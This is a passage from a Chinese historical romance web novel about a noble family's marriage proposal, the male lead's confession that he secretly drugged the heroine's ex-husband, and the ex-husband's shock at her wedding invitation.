她低垂着脸看着脚尖,“……” 耳畔传来男人温柔的询问,“我的同心结,鸾儿做好了吗?” 前几日各自有事,忙得没空见面。 她的同心结虽然做好了,可一直没有交给沈景湛,原打算让姣惠送出去,可姣惠觉得还是先放放,让她亲手给沈景湛比较好,毕竟是定情的信物。 所以一直放到现在。 沈夫人和沈侯爷虽然一直在跟沈翕云和施将军说话。 但祝吟鸾知道,沈夫人的余光一直注意她这边,尤其是沈景湛看过来的时候。 她的脸都微微转过来了。 祝吟鸾没说话,只是点头,无声告诉他做好了。 男人勾起薄唇,“那便好。” 沈夫人留意到自家儿子主动靠近搭话的样子,看着他脸上的笑,实在觉得不可思议。 她何时见过沈景湛这样上赶子跟姑娘家说话? 尤其是对方还爱答不理,只敷衍般点了点头,他居然都笑了?!还笑得眉眼舒展,会不会有些太不值钱? 见状,沈夫人又看祝吟鸾了。 模样倒是不错,礼数也不差,看着不怯场,但未免太羞怯了吧? 至于性子……还不曾摸出来。 沈家上门的意图在落座正厅之后言明——提亲。 祝吟鸾在旁边坐着,扮演一个乖巧的闺中姑娘,一切皆由沈翕云和施将军去谈,这一开始也的确是说好的了。 祝吟鸾能够感受到沈夫人和沈将军不太喜欢她,但在礼数和提亲的礼节之上,却无任何的怠慢。 她也不知道沈景湛究竟是怎么说服两人的。 早膳用的算是融洽,多数是长辈们在说,祝吟鸾安静用膳,施从微偶尔会叮嘱她多吃一些。 沈景湛在她对面,两人的目光时不时会碰上。 他今日似乎很愉悦,眸光当中总有笑意。 用膳快要结束之时,沈夫人忽而叫她,“祝小姐。” 祝吟鸾看过去。 沈夫人问道,“你是几时生的?” 按照成亲的流程,纳采已经过了,接下来便是问名,要对两人的生辰八字,方便命理先生挑选良辰吉日。 “回夫人的话,我是十月初七辰时生的。”她声调柔软,不紧不慢。 “十月初七辰时?”沈夫人低喃。 “嗯。”祝吟鸾点头。 沈夫人倒没说什么了。 用过早膳,沈家和施家交换了信物,便起身离开。 临走之前,祝吟鸾原是让姣惠把装有同心结的锦盒拿给沈景湛的随从代为转达。 可他径直跟她要了,还跟她说,“你就在施家,等我来娶你。” “我会挑选最近的良辰吉日。” 祝吟鸾被他看得很不自然,若是之前便也罢了。 可沈夫人以及沈将军的随从都在这里,她也不敢多说,只道,“不着急。” “等我,鸾儿。”他又道。 祝吟鸾,“……嗯。” 沈景湛走后,施从微忍不住凑到祝吟鸾的身边打趣,“湛表兄这是一刻都等不及了啊。” 沈翕云也跟着笑,“是,要快点把鸾儿娶进门。” 祝吟鸾面皮薄,一瞬间就红了,“母亲……” 沈翕云笑,让她别担心,说沈夫人和沈将军既然都上门要来生辰八字,这件事情就是板上钉钉了,还说今日沈家送来提亲礼,全都归纳入她的嫁妆里面。 “我额外也会给你出一份嫁妆,你好留着傍身。” 祝吟鸾颔首,“多谢母亲。” “一家人不说两家话。” 回去的路上,沈夫人问沈将军,觉得祝吟鸾如何? 沈侯爷道,“看着不错,就是性子似乎闷了些。” 打眼过去年岁也很小,所以祝吟鸾说出她是哪年生的,沈将军也不意外了,若是旁人不说,还真瞧不出来她嫁过人,还嫁了四年。 “但……”沈侯爷欲言又止。 沈夫人问他但什么? “但听澜很关注她,在她面前话更多些。” 对此,沈夫人也没话说。 的确很关注,眼睛都快长到人姑娘身上去了。 “听澜既喜欢,便也罢了。” 沈夫人叹出一口气,“也只能这样了。”除此之外,还能如何? 若是沈景湛没有在御前中书省任职,没有监管御史台。 他的亲事家里还是能够管.制的,如今说得再多也是白费功夫,因为管不了。 “样貌倒是出挑,问她话时也不胆怯。”不仅没有胆怯,更没有沈夫人想象当中的谄媚,这一点是令她意外的。 或许有,被祝吟鸾给隐藏住了,暂时看不出来。 既能隐藏心绪,便说明她不简单。 沈夫人怎么看怎么觉得不好。 沈侯爷在这时候开口道,“若她没有许过人家再被休弃,夫人又觉得如何?” 沈夫人不明所以,但顺着沈侯爷的话想了想,“那还可以,只是门第不配。” 岂止不配。 她还是个庶女。 但若真那样,也勉强算是清白了。 “听澜怎么喜欢上这样的……”沈夫人捏着眉心,沈将军宽慰了她两句。 沈景湛还有公务,他没随着回沈家,过些时候要办婚宴,这些时日得抓紧将中书的诏令都拟了给皇帝过目,否则无法有空闲。 同样的,沈侯爷也有事情要忙,他把沈夫人送回去之后,便带着人去了官署。 沈夫人想了想,先去给沈老太太请安。 沈老太太佯装身子不舒服,还是不见人。 到底相处多年,沈夫人岂会不知道自己婆母是何意。 她站在屏风外一五一十说了今日去施家见礼的事情,禀告完了再请老太太好生保养身子,她得去找命理先生合两人的生辰八字。 还没退两步,沈老太太出声了,问她,“不找钦天监的人算算?” 沈夫人停下脚步,“听澜那边已经找钦天监算过了。” “怎么说的?”沈老太太哼了一声。 虽然想听,但是她不相信。 “说两人八字极其相配,是天作之合。” “他找的人去算,说的话岂能不合他的心意吗?”沈老太太字里行间依然不赞同这门亲事。 沈夫人听出沈老太太话里的意思,帮忙递了台阶,“媳妇想着,再找命理先生看看,奈何找不到路子,母亲见多识广,不知您有没有人选?” 等了一会,沈老太太叫她进去。 沈夫人再次请安,随后坐到旁边听沈老太太说话。 老太太开头没提命理先生,反问她,“今日去施家你见到那女子了?” 必然是见到了,何况方才沈夫人都主动禀告了一遍,但沈老太太又问,沈夫人依然耐心点头回答,“见到了。” “比之画像上,她的模样如何?” “模样很出挑,比画像还要更胜一筹。”沈夫人如实道, “这么说,她跟听澜很相配了?” “模样倒配得上。”沈夫人中肯点头。 “性子呢?” “今日看着倒是不错,但……还不清楚。” “听澜很喜欢她。”沈夫人又补了这么一句。 “怎么喜欢了?”沈老太太半抬眼皮。 沈夫人说了一遍今日沈景湛不同以往的“反常”。 沈老太太,“……” “他果真这样殷勤?” “若非亲眼所见,媳妇也不相信。” 沈老太太顿了一会,半晌之后,她道,“就算是喜欢,也不行。” “可……”沈夫人表露为难。 她也不想祝吟鸾进门,但夹杂在婆母和儿子中间,已经不是为难二字能够解释了。 “今日我让人去查访,你可知查到了什么?” “什么?”沈夫人疑问,摇头说不知。 “这女子之所以会被卫家的休弃,正是因为她四年无己出。” 沈夫人的眉头皱了起来,“……竟是不能生吗?” “若是她能生,那卫家的为何要休弃她啊?”沈老太太对祝吟鸾很不满意。 沈夫人沉默不好表态。 沈老太太道不能让她进门,“我还等着抱听澜的重孙子女呢,她要是进来,我们沈家长房岂不凋零?” 沈老太太无比反对,她让沈夫人斟酌掂量。 许久之后,沈夫人叹一口气,“听澜的性子您也知道,媳妇管不住他。” “那把他父亲叫回来。” “夫君前脚才走,这会恐怕……” “去把听澜叫回来。” 解铃还须系铃人。 沈老太太让沈夫人把沈景湛叫回来,她亲自跟他说。 沈夫人只得派人去了。 原以为沈景湛不会回来,没想到他竟然回来了。 看他的样子气定神闲。 沈夫人猜测,他很有可能已经知道了沈老太太要问什么。 匍一开口,果不其然。 沈老太太说他不能娶祝家女,他平静反问为何? “你不知道为何?”沈老太太也跟他打哑谜。 “祖母不说清楚,孙儿自然不知道。”他的嘴角噙着淡淡地笑。 旁边的小丫鬟们都不敢看他这副祸国殃民的样子,纷纷低着头。 “你会不知道为什么?!”沈老太太气得声音都大了。 “祖母有话不如说明白。”他优雅坐下。 沈老太太,“……” “她与卫家和离的缘由你不清楚吗?” “自然清楚。” “那你还不知道为何?”沈老太太还在绕。 “卫家高升,祝家要抬长女进门,她被逼得走投无路,最终遭到卫家休弃…如此种种如何不能够再嫁孙儿了?” “又不是她的错。”沈景湛淡淡道。 沈老太太闻言,与沈夫人对视一眼,还有这内情? “莫不是你胡说的吧?” “祖母自己查不到,怎么怪在孙儿的头上?” 沈老太太刚要说什么,忽而反应过来,似乎在无形当中被他牵着鼻子走,连忙让他不要转移话茬。 干脆挑明,“她遭到卫家休弃的真正原因,恐怕是不能生养吧!” “她嫁入卫家几年,至今无己出,看了多少郎中吃了多少药还是不管用,这一点你不清楚吗?” “她这样的身子如何能够入我们沈家做你的正妻?” “你身上担着侯府长房爵位的重任,将来必定要后继有人,她不行。” 沈老太太噼里啪啦说了一大堆。 沈夫人给她拍着后背,顺着她的气,“母亲您不要动怒。” “听澜难得有个喜欢的人,这件事情……” 沈老太太说话直接,沈景湛不说话,怕两人闹得僵,沈夫人自然要递台阶。 沈老太太果然顺着台阶下来了,“我也听你母亲说了,你很喜欢她。” “既然喜欢,倒是可以抬进来做个妾室,但也要等你娶妻之后再说。” 沈景湛好一会没说话,他指尖慢条斯理敲打着桌面。 静默一息,方才启唇,“母亲和祖母说完了吗?” 沈老太太和沈夫人不说话,他起身,“儿子要娶她做正妻这件事情绝不会更改,任何人都无法左右,便是神佛也不可能。” 他话里意味,表露得很清楚了,神挡杀神,佛挡杀佛。 “所以……祖母实在不必费口舌了,她,孙儿一定会用八抬大轿迎进沈家门。” “至于她在卫家四年为何无己出,这件事情恐怕她自己,以及卫家都不清楚内里缘由。” “什么意思?”沈夫人暗觉不妙。 “并非她不能生,而是卫家子。” “你…你怎么知道?”沈夫人奇怪。 沈景湛展唇一笑,他笑得人畜无害,如沐春风,吐露的话却令人胆颤心惊, “因为是孙儿动的手脚。” 他亲自给卫如琢下的药,怎么会不知道呢? 沈夫人,“……” 沈老太太,“……” 第35章 第35章卫如琢收到她再嫁高门的喜帖…… 长久的静默之后,沈老太太最先回过神,“你……你说什么?!” 原以为沈景湛是为了迎祝吟鸾进门而找的托词,可对上沈景湛那张俊逸的面庞,他哪里像是说谎,更像是陈述。 沈老太太指着他,厉声训斥,“你怎么可以做出如此丧尽天良的事情来!!!” 她仿佛第一日认识眼前的重孙一般看着他,实在是太不可置信了! 不,用不可置信已经不能够形容沈老太太此刻心里的感受,应该是大惊失色,惶恐不安。 他不是个正人君子吗? 沈夫人虽然也是惊得失语怔愣,但很快回过神,连忙打圆场,“母亲您息怒,这其中或许有什么误会,听澜他…他不是这样的人。” 说到后面这句,沈夫人的声音都弱了下来,知子莫若母,她岂会不知道沈景湛说的话是真是假? “瞧瞧你生的好儿子,往日里风光霁月,人人称羡,背地里怎么能做这样损阴德的龌龊事!” 沈老太太痛斥沈景湛,又对着沈夫人开腔,“他都亲口答应承认了,还有什么误会?!” 这件事情的确是太过于震惊, 更重要的是,他居然亲口承认了! 他的口吻毫无忏悔之意,反而只有舒愉自怡。 沈夫人头疼不已,“听澜……你……”你到底着什么魔? “就算是再喜欢祝家女,也不能这样做吧?”沈夫人骂都不好骂。 “你到底为何?”沈夫人问他为什么要这么做? 还能为何? 他不急不缓,“祝家长女拜高踩低另攀姻缘,为了周全祝、卫两家,祝大人让她嫁去卫家填补空缺,可祝家卫家儿郎贪得无厌,根本配不上她。” 这祝吟鸾竟然是填补长姐姻缘空缺,被推上去的? 沈夫人疑问。 沈老太太却还在生气,嗤笑着脱口便质问他道,“祝家长女拜高踩低,卫家儿郎贪得无厌,你呢?你说说你!” 沈景湛却笑,“孙儿表里不一,自然也不是个东西。” 沈老太太,“……” 沈夫人,“……” “你倒是对自己有清楚认知啊?”沈老太太被噎了一句,凉飕飕道。 沈景湛略略挑眉,算是默认。 “孙儿定然要与她成亲,若她跟卫家子有了后嗣再领入沈家门,儿子倒是能够爱屋及乌,但只怕母亲和祖母不能接受吧。” 此话一出,本就气急的沈老夫人受不住刺激,直接晕了过去。 沈夫人吓得脸色苍白,连忙叫人去请太医。 沈景湛在旁边一如既往的姿态优雅,丝毫不见慌乱。 夜里沈侯爷归家,已然知道发生了什么事情。 他脸色沉下来看着沈景湛,跟沈夫人一样,想骂又不知道骂什么。 因为不论骂什么,对方似乎都不为所动。 今儿的事情他都听说了,沈老太太训斥他衣冠楚楚,他浑然不恼。 既如此,还有什么好骂的。 沈侯爷只问一句话,“那祝家女知不知道你给她郎君下药?” “卫家子已经不是她的郎君了。”他没回答,率先纠正沈侯爷字里行间形容两人关系的称谓。 沈侯爷,“……”现在是计较这些的时候吗? “所以到底知不知道?” “自然不知。”若是知道,恐怕不会亲近他了,但他也不会让祝吟鸾知道。 见沈景湛稳操胜券,不慌不乱的样子,沈侯爷哪里还不清楚,他根本就不怕,他不是怕祝吟鸾知道,而是他根本不会让消 息泄露出去。 之所以说出来,也清楚沈家的人不会捅娄子出去。 请太医的间隙,沈夫人已经打点好了沈家的小丫鬟还有婆子们。 能进入内室伺候的人全都是心腹,大家自然也不敢乱说。 若是因为逞强一时之快得罪沈家,那岂不是自绝后路吗? 看着眼前儿子俊逸的侧颜,沈侯爷道,“焉知纸包不住火,世上岂能真的有密不透风的墙?” “多谢父亲提醒,儿子一定谨而慎之。” 沈侯爷,“……” “好之为知吧你。”是气不过的语气。 沈景湛嗯了一声。 沈老太太为这桩婚事真是气病了,可饶是她反抗,也没办法阻止,毕竟沈景湛都做到了给对方下药的份上,若是再阻止指不定做出什么事情来。 万一他强娶民女,亦或者带着人私奔,离开京城呢?届时沈家真是要成为众矢之的了。 总之,沈老太太丢了一句随他。 沈夫人找人去重新合了两人的八字,让她意外的是,命理先生说祝吟鸾的命格极好,少见的凤星占楼,旺宅旺院,大富大贵。 沈夫人当时盯着命理先生没说话,又看了眼祝吟鸾的生辰八字,都有些许怀疑这人是不是沈景湛找来诓人的。 可这人是她手帕交贵眷荐来的人,怎么可能会被沈景湛收买?他的手不可能伸得那么长吧? 沈景湛的生辰八字命数,沈夫人早几年就算过了,就跟这人说的差不离,即便有出入,也没什么紧要的。 合两人命理之时,命理先生说原本是天作之合的数,但凤星闪烁,红星追逐,纠缠颇深,唯恐镜花水月啊。 这些命理话,沈夫人听不懂,要求他解释。 对方来了一句天机不可泄露,沈夫人给了大把银钱,对方都不说。 回去之后给沈老太太禀话,对方听到一个凤星占楼,也是觉得奇怪,问她这命理先生可不可靠。 沈夫人说可靠。 沈老太太还是存疑,她寻了一个人上沈家门,让对方来算,这道人早年拜在终南山,入道几十年,道行很深,轻易不给人看命理了,但沈家供奉多,他便跑了这么一遭。 没想到,他居然也批了一个凤星占楼,贵不可言。 沈老太太打断问,“凤星占楼为何意啊?” “凤者,贵之极也,其星居所,自占一楼,为星主方,故而凤星占楼,此女非池中之物。” 沈夫人不由和沈老太太对视一眼。 岂料对方摸着苍白胡须道,“实不相瞒,此女的命格,鄙道的师叔祖曾经批过。” “给听澜批过命格的老师父吗?”沈夫人问。 “是。” 那道人可准确了,他都说祝吟鸾凤星占楼,那她的确是不错的…… 高门世家就重这些祥瑞,也算是有些许勉勉强强的好印象了。 沈老太太面色认真起来,让道人合一下两人生辰八字。 没想到,这道人说的话也跟前一个命理先生差不离的。 察觉出不好,沈老太太问他可有解法? 道人说,“且看凤星闪烁的方位。” “大公子也是池中龙,龙凤呈祥,再怎样也不会损了各自命途,夫人太太们尽可放心就是,无论如何都是造化,强求只怕不得善果。” 道人如此所言,沈老太太也不好再问,给了不少银钱添香油,让人好生把道士送了出去。 “……” 生辰八字对了之后,该到纳吉送聘礼的好时候了。 沈家是高门,纳征的手笔自然不同小门小户,不看内里的物件东西,只是送过去的数量而言,都送了整整一日。 祝吟鸾看到那么多东西都被愣住了。 她还从未见过这么多的聘礼,更重要的是,沈翕云说沈家送来的聘礼,她都不收入施家,全都添入她的嫁妆,让她带出门去,除此之外,沈翕云和施将军还给她送了一份,施家的兄长姐姐们也给她添置了些许。 如此众多的嫁妆,沈家竟还送了这么多? 沈翕云看她惊愕,凑到她耳边说,“这里面也有景湛和夫人给你添的一份。” 沈景湛给她添嫁妆,她并不意外,只是没想到沈夫人分明不喜欢她,可竟然还是给她添嫁妆了吗? 见状,祝吟鸾忍不住在心里感叹,沈夫人不愧是高门贵妇,就算是不喜欢,面子的功夫也做得很好,不会叫人难堪。 沈家的聘礼一送,京城闹得沸沸扬扬,议论纷纷。 先前沈夫人和沈侯爷上施家门,便有人怀疑沈家要跟施家联姻。 可也只是谣传,因为施家三个姑娘,前面两个都嫁出去了,剩下的一个不是前年就订了亲事吗?原定是今年成亲,之所以拖着,是因为施三小姐的未婚夫婿家中有丧事,这才迟误了下来。 也有人说保不准,可能施三小姐的婚事黄了呢。 后面又有流言传出,施家认了一个义女,沈家上门求的是义女? 后面的说法少有人信,更多人倾向沈家求的是施三小姐。 没想到,聘礼一送,求的竟真是的义女! 这义女身份不明,前头也不知是哪家哪里的人!京城人猜来猜去,什么说法都有,但没人往卫家猜,祝吟鸾的身份没有被人扒出来。 沈家大公子,世子沈景湛要成亲了,娶的还是一个来历不明的女人。 京城的贵女们无一不碎了芳心。 可没有办法阻止。 沈家那边探不出消息,施家又不接帖子,如今想要得见这名女子,还有些难呢。 现如今更难的是,弄到沈家施家的喜帖,若是能去沈家的场子里吃喜酒,好歹也是亲近的机会。 故而京城世家都开始活络起来了,小门小户的更不用说。 祝家这边,祝沉檀的心绪不怎么好。 她预备那么久的婚宴,竟然完完全全被沈家施家的人压了风头。 原本想要找了一个近来最好的良辰吉日,想要快些嫁过去,可她怎么都没有想到,竟然跟沈家、施家给撞到了一起。 卫家如今就算是晋升,哪里比得上真正的高门世家啊? 众人挤破头要去沈家施家吃喜酒,哪里还会来卫家和祝家? 一想到那个寂寞寥落的场面,祝沉檀脸都青了。 她费尽心思要办再嫁的喜宴,就是为了给骆暄还有祝吟鸾看的,届时若惨淡不堪,她不是请人来看笑话吗? 她绝对不允许这样的事情发生! 刚要去找朱夫人,对方先来了,“檀儿,母亲有话跟你说。” “女儿也正巧有事情要跟您说。” 朱夫人让她先说,祝沉檀讲,她要把婚期给往后挪一挪。 “你母亲我也是这个意思。”朱夫人拍着她的手,“万万不能跟沈家施家给撞上了,况且这两家成亲,咱们要去见见世面,好歹露个脸,再者说……” 沈夫人压低声音,“万一你有了更好的姻缘呢?” “我的檀儿生得如此之美,除却卫家的,张家李家王家公子谁配不得?”朱夫人完全忘记了祝沉檀再嫁又和离甚至小产过的事情,还以为她是黄花大闺女。 若是之前,祝沉檀听到这句话心里定然愉悦,可她如今没有愉悦,只有恼怒。 当初她和骆暄相遇,也是在赏花宴上,骆暄对她一见钟情,她当时真的以为是她美貌过人,令骆暄念念不忘。 可谁知道,根本就不是这样的,骆暄亲近她,完全是因为他的贱.人.表妹! 因为那.贱.人跟她有几分相似而已! 越想越气,祝沉檀的脸青到扭曲起来。 听说那个.贱.人又怀孕了,速度还真是快啊,骆暄有了她以后,都不去花楼了。 “母亲这些时日还是没有妹妹的消息吗?” 只有想到穷困潦倒被休弃的祝吟鸾,她的心里方才好受很多。 听母亲说,这些时 日她如丧家之犬,连头都不敢露。 “这些时日忙着.操.办你的婚宴,母亲那里有时间去过问她。” “若是找不到她,女儿的婚宴怎么办?” “我要祝吟鸾来赴宴!”她就是要让祝吟鸾看看,她如今过得有多好。 “行行行,母亲让人去找她。” “你这婚宴,且推些时日吧,先去沈家见见世面,届时再办,拖一些时日也没什么变故,总归全都办好了。” 话是这么说,祝沉檀心里总有不详的预感,好似有什么事情要发生一般。 但又说不上来是什么事。 “母亲,说是要去沈家,咱们有请帖吗?” 沈家的门第那么高,哪里就能够弄到请帖? “这件事情你母亲也正犯愁呢,这些时日走走路子吧,必然要弄到一张请帖,你过去卫家之时,也提提这件事情,就算咱们家没有,卫家若是有,咱们也能够跟着沾沾光。” 祝沉檀心烦意乱点头,“女儿知道了。” “却说这施家收养的义女,你也打听着,看看是何方神圣,若是能够跟她交好,日后你也能够在京城高门贵妇圈子里说上话了。” “女儿前几日去赴宴,倒是听说她好似京城人,但不知道原来是哪家的……” 她当时脑子里就记挂着沈家和施家结亲的时日跟她撞到了一处,烦着呢,哪里还有心思去探听这个女人是哪家的? 就算是知道哪家的,祝沉檀心里也是厌得很。 这个女人突然冒出来之前,有没有思虑过京城哪些时日有人成亲啊? 突然就与她撞到了一处,抢了她的风头,果然是高门,只知道仗势欺人! 祝沉檀心里又躁又不安,这些时日卫如琢忙得不可开交,都不怎么见她,就算是见了,说笑也比较少,跟从前不太一样。 男人升了官,也真是管不住。 听说他前不久出去应酬,竟然有人对着他投怀送抱。 闻言,祝沉檀哪里还能不着急? 就怕外面的狐狸精趁虚而入,抢了她的姻缘。 她是一定要嫁给卫如琢的。 卫家和祝家的亲事一定要成,若是不成,她一定不会善罢甘休。 “瞧着你的脸色不好,这到底是怎么了?”朱夫人问。 “女儿放心不下,担心出事。” “你和如琢的事情板上钉钉,哪里会出事啊?”朱夫人安慰她宽心,还说起之前祝家帮卫如琢脱困的事情,“若是他不要你,你父亲和哥哥也不会放过他,况且,他还要晋选礼部尚书的位置,此刻还需要咱们祝家。” 祝沉檀想到这次退让拖延的婚期,越发觉得不吉利。 “可若是卫如琢不需要祝家了呢?他如今屡屡晋升,若是有贵女看上了他,对方的身家又在祝家之上,还能帮上他更多,他会不会抛弃女儿,另外选了那个人?” 朱夫人连忙叫她呸呸呸,“檀儿不要胡说!怎么可能!” “你以为那卫如琢真的那么多人喜欢啊?”朱夫人安慰着她。 “女儿总觉得心里不安啊,母亲您知不知道这些时日他对我爱搭不理,没有以前那么热情了,女儿总觉得他不喜欢女儿了。” “檀儿啊。”朱夫人摸着她的头发,“男子谁不是这样?” “彼此情浓时自然好,可过日子嘛,总要受些委屈,何况卫如琢的公事的确忙,你也要体谅些,不要跟他闹,什么事情都等成亲以后再说。” “他如今就对女儿不耐烦,成亲以后真不知会变成什么样子。” “能变成什么样子!”朱夫人说她胡思乱想。 “他家中还有个小妾呢,看着那女子就不是个省油的灯,女儿要他遣散了那人,可他竟然说,等我过门再将人赶走,这是舍不得吗?” “那女子不是生得像你吗?”朱夫人安抚着她。“你的替身而已。” 放在之前祝沉檀或许高兴,可她被骆暄膈应到了,怎么都高兴不起来。 “正是因为像,我才想把她赶走。” “且忍些时日吧,没多久便成亲了,如今弄到沈、施两家的请帖要紧,你也多走动走动,想想办法。” “女儿知道了。”祝沉檀按下心烦的思绪。 “……” 尽管祝家和卫家都出了力气,可还是够不着沈家的门第,拿不到请帖,别说请帖了,高门办喜宴,宫里都有人去,进出的人严格查访,想跟着人混进去,都找不到空子可以钻。 朱夫人和祝沉檀这些时日出去赴宴,不仅没有拿到请帖,甚至还……还被人阴阳怪气奚落了。 说什么她家不也办喜宴吗? 这么想要喜帖,她家多多筹办几张喜帖摸个够不就成了? 朱夫人和祝沉檀几乎是铁青着脸回去,当着诸位女眷的面还不好撕破脸。 阴阳她们的贵女与骆家交好,与筹办宴会的府卿夫人交好,若是回击,岂不是打了府卿夫人的脸吗?便只能够吞了这口气,回去的路上,母女两人都没说话。 祝沉檀说,“没想到高门世家这样欺人。” 朱夫人却叫她小声,“不要被人抓了把柄,回家再议。” 若是请帖拿不到,还得罪了沈家这还了得? 回家之后,祝沉檀便哭闹起来,说她这辈子没有受过这样的委屈。 说不去参宴了,随着沈家去吧。 朱夫人安抚着她,还说再想想办法,“这会子若真的不去,打了退堂鼓,那真是要被人笑话了。” “咱们家必然要去的,给那些小人看看,咱们祝家也是有头有脸的人物,能够挨上高门。” “可沈家的请帖哪里好要……” 朱夫人也是叹气,毕竟祝大人和祝鸣生没有法子。 卫如琢也说不保准。 婚期越来越近了。 眼看着恐怕是去不了,没想到,卫家那边却传来了消息。 “……” 卫如琢今日伙同另外三司主去尚书府上赴宴。 酒过三巡,尚书大人眼神示意他去书房说话,两人一前一后离席,旁边没去更衣留下的同僚也喝得醉醺醺了,自没有多注意。 毕竟这些时日尚书大人都一视同仁,不曾看出什么苗头。 到书房之后,尚书大人给了卫如琢一张请帖,不,准确来说,应当是喜帖。 卫如琢有些不明所以,疑问道,“这是?” “这是你的门路。” “门路?”卫如琢还有些不解。 可当尚书大人说出这是沈家世子成亲的喜帖之时,卫如琢双眼瞪大,心里已然泛起万丈波澜! 什么!这竟然是…… 他惊喜之余,忍不住说出声来。 尚书大人点头,“嗯,不错。” “的确是沈家和施家的喜帖。”尚书大人坐下。 “沈世子成亲,高门大户的人都会去,就连宫内与沈世子交好的人也会到场,届时,你可以多多认识,好歹露个脸面。” 自从上次以后,卫如琢便一直暗地亲近尚书大人,私底下更是给他送了不少礼,还帮他做了不少事情,解决了很多的麻烦。 旁人不知情,不曾看出尚书大人已经将位置属意于卫如琢。 “你的本事我已然看到了,但你太年轻了,入官场的时间短,就算是我要提你,恐怕不能服众,祝家虽然帮了你许多,但……祝家能力有限,再往上无法给你更多,如今只能靠你自己。” “到沈家吃喜酒的都是大人物,你必要好好混个面熟,叫三省的大人们留意到你,往后的事情……不必我一一教你了吧。” 尚书大人呷了一口解酒汤。 卫如琢连忙拱手,跪下道,“多谢大人指示提携,将来若真的能够有造化,下官定不忘大人之恩。” 尚书大人很满意,“嗯,记住你今日说的话。” 卫如琢出了院子刚要打开看看,可碰上了更衣的同僚,是礼部另外的主客司郎林项。 “哟,卫大人也来更衣?”对方靠近。 卫如琢不动声色将喜帖给收好,装作醉醺醺认不出人的眯眼样子,“……林?林大人?” 林项哈哈大笑,“卫大人这是喝了多少,快叫人拿醒酒汤来……” “是。”下面的人连忙就去了。 所以一直到离开尚书府,差不离快要到沈家了,卫如琢才有空打开尚书给他的喜帖。 在他眼里,这已经不是一封喜帖了,而是他通往富贵权势的敲门砖。 所以他无比激动到紧张,乃至于兴奋。 心里还有一股莫名其妙的恐慌,但 都被他的兴奋给掩盖了,准确来说,是他没有注意。 所以,当他打开喜帖,一路往下看…… 看到写在沈景湛旁边那三个字的时候。 他还以为他真喝多了,兴奋醉了没醒呢。 否则……他怎么可能看到了祝吟鸾的名字? 对啊? 写在沈景湛旁边的这三个字怎么会是祝吟鸾? 是他太想祝吟鸾了吗? 说到这个女人还真是有本事啊,说和离,不,被休弃之后……她就再也没有露过面了。 从卫家出去之后,他已经很久没有见到祝吟鸾了。 一次都没有见过,她就好像凭空消失了一样。 卫如琢想着,她这样怯懦卑微,往日里也没有本事,怎么能够在京城立足呢? 娘家不喜又不容,过不了多久,祝吟鸾就会哭着回头祈求他的原谅,可他都等了多久了? 这些时日虽然忙碌,可他总时不时想到祝吟鸾。 尤其是回家之后,往日里祝吟鸾话不多,十分安静,自她走后,家里就更安静了。 虽然安静,但他总莫名其妙想到祝吟鸾会出现的地方。 她喜欢站在窗桕边沿,还喜欢在长廊之下坐着,不论是晴朗亦或者阴雨天,都在这两处地方。 比起晴日,她似乎更喜欢看雨。 可自从郎中说她身子弱,母亲训斥她少吹风之后,她就再也不坐长廊之下赏雨了,就连门都很少出。 现如今,便是在官署之时,看到落雨,他竟然也会想起祝吟鸾。 祝沉檀来寻他的时候,他看着祝沉檀的脸,竟然能够准确在对方身上分辨出她与祝吟鸾相似的地方,不同的眉眼…… 真是疯了。 是太久没见到她,有些想念她,所以才会在这个喜帖上面见到她的名字? 眼花了。 卫如琢嗤笑甩头,重新打开喜帖。 这一次,他确信自己没看花眼,可喜帖之上那三个字,就是祝吟鸾。 不是别人,就是祝吟鸾。 字句一模一样的祝吟鸾? 难不成,京城当中,还有谁家的高门贵女,也叫祝吟鸾吗? 他不信,视线上移,看到了一模一样的生辰八字。 卫如琢的脸开始黑下来了,手开始抖。 怎么可能?!! 沈景湛迎娶的人,怎么可能会是祝吟鸾?! 是被他休弃不要的那个祝吟鸾!!!! 她怎么可以抛弃他之后,再嫁得那么高那么好? 在她旁边的男人名讳是谁? 卫如琢神色铁青,面目狰狞看着刺目喜帖之上的男人名讳。 与祝吟鸾这三个字并列一处的男人名讳…… 那是位列高门之首,人人不敢与之得罪的天子近臣,沈景湛。 不,不是她,不可能是她。 沈景湛怎么可能要她? 卫如琢催促马车停下,他用力扯开挡光的车帘再看一眼,但的的确确就是祝吟鸾,沈景湛! 卫如琢还是觉得眼花了,他让人快点回家! 车夫不明所以赶车冲到了卫家。 卫如琢火速下了马车,他叫人熬醒酒汤。 可他觉得太久了,一头扎入冰冷的水中,浸泡许久,他整个人总算是醒过来了,也的确是醒过来了。 随意擦了擦,他走入书房,对着明亮的烛火再次看去。 这喜帖之上的名讳,的确还是熟悉的那三个字。 盛怒之下,他几乎要撕碎捏烂这张喜帖。 纵使拳头握得青筋暴起,他也不敢。 这是他通往极乐富贵高门的敲门砖啊,他怎么敢损坏? 况且还是沈家的喜帖,届时都要收回去的,若是弄坏了边边角角,沈家的人记住他,不让他进去怎么办? 他的仕途,包括整个卫家都要毁了。 卫如琢气得眼睛都红了。 渐渐的,他冷静下来。 想着祝吟鸾怎么可能攀附上这样的高门?绝没有可能! 或许就是同年同月同日同时又同名的人而已。 听说是施家的女儿,收的义女? 就算是祝吟鸾……不知道她怎么攀附上施家,又勾搭上沈家。 总之,他要去看看,看看是不是她! 若真是祝吟鸾这个抛夫再嫁的女人,他一定会戳穿她的真面目! 思及此,卫如琢勉强畅顺,他看向赴宴的时日。 心里咬牙切齿默念着, 五、月、二、十。 第36章 第36章她真的再嫁了。 不正是他与祝沉檀挑好的最近的成亲时日么? 前几日祝沉檀过来的时候还说婚期要往后挪一挪,就怕与侯府沈家撞上,届时没人来参加他二人的婚宴,冷了场子又丢了两家的面子。 推迟婚期并不吉利,尤其是在一切都准备齐全的基础之上。 可当时的他却莫名庆幸,松了一口气。 似乎潜意识里总觉得不想那么早成亲。 说不上来为什么。 或许是因为要晋选礼部尚书之位吧? 可若真是这么说,早早与祝沉檀成亲了才是要紧,因为只有成亲了,祝家以及祝家的那些同僚才能够不留余力支持他。 他实在不想承认,还是在等祝吟鸾。 因为她迟迟不曾回来低头认错。 想当初,她就是因为祝吟鸾要进门才跟他闹得不可开交,非要和离。 如今……若是他真的跟祝沉檀成亲,她会不会再也不回来了? 私心里,还是想等一等祝吟鸾,毕竟她在卫家待了有几年,也帮着他做了一些事情,没有功劳亦没有苦劳,应该等等她。 可谁知道……左等右等,竟等到了一封她再嫁高门的喜帖? 这封喜帖宛若晴天霹雳,将他劈得里外惊惧且愤怒,难以接受。 庞氏那边听到卫如琢怒气冲冲赶回家的消息,还以为出了什么事情,亲自过来看他。 